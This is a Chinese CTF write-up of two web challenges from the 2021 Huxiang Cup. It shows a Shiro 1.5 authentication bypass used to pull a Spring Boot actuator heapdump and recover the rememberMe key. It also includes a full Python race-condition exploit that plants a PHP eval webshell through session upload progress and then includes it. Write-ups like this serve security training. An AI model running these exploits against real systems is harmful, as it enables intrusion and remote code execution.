2021第七届湖湘杯-web-wp

2021第七届湖湘杯-web-wp

Web2 Pentest in Autumn

题目给的附件Pom.xml

Pom.xml 中有actuator
http://eci-2zedwevdyx4t10vmh85o.cloudeci1.ichunqiu.com:8888/actuator

Springboot中actuator常见接口(1.x能够直接访问,2.x是在actuator目录下)
在这里插入图片描述

由于没有权限,接下来访问都是302
http://eci-2zedwevdyx4t10vmh85o.cloudeci1.ichunqiu.com:8888/actuator/health
http://eci-2zedwevdyx4t10vmh85o.cloudeci1.ichunqiu.com:8888/actuator/env
(信息泄露)

Shiro1.5 鉴权绕过去下载文件
http://eci-2zedwevdyx4t10vmh85o.cloudeci1.ichunqiu.com:8888/aa/…/;test=/actuator/health
把文件都下载下来

下载heapdump
http://eci-2zedwevdyx4t10vmh85o.cloudeci1.ichunqiu.com:8888/aa/…/;test=/actuator/heapdump

利用 visualvm 打开下载的heapdump文件
https://visualvm.github.io/download.html

全局搜索org.apache.shiro.web.mgt.CookieRememberMeManager

在这里插入图片描述
将byte转换成base64形式的key

import base64
import struct

res = base64.b64encode(struct.pack('<bbbbbbbbbbbbbbbb', 58,5,22,5,117,45,-35,82,-15,62,-57,117,-78,15,23,-89))
print(res)

(参考:https://www.cnblogs.com/icez/p/Actuator_heapdump_exploit.html)

在这里插入图片描述
CB链,Spring回显

在这里插入图片描述

Web1 easywill

题目没有给源码,根据描述从网上下一份easywillV2.1.5(https://gitee.com/willphp/willphpv2/tree/808b3a36d366f66a88fd130cc6514c20eaf15450/)

首页中assign可控两个参数,其中根据view函数发现覆盖变量cfile
在这里插入图片描述
尝试session包含
Exp

# coding=utf-8
import io
import requests
import threading

sessid = 'flag'
data = {"cmd": "system('cat /ffffffff14ggggggg3');"}
url = "http://eci-2zec2ffu8ckzf0eggcpe.cloudeci1.ichunqiu.com/index.php"

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 50)
        resp = session.post(url,
                            data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'},
                            files={'file': ('midi.txt', f)}, cookies={'PHPSESSID': sessid})


def read(session):
    while True:
        resp = session.post(url+'?name=cfile&value=/tmp/sess_' + sessid,
                            data=data)
        if 'midi.txt' in resp.text:
            print(resp.text)
            event.clear()
        else:
            pass


if __name__ == "__main__":
    event = threading.Event()
    with requests.session() as session:
        for i in range(1, 30):
            threading.Thread(target=write, args=(session,)).start()

        for i in range(1, 30):
            threading.Thread(target=read, args=(session,)).start()
    event.set()

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值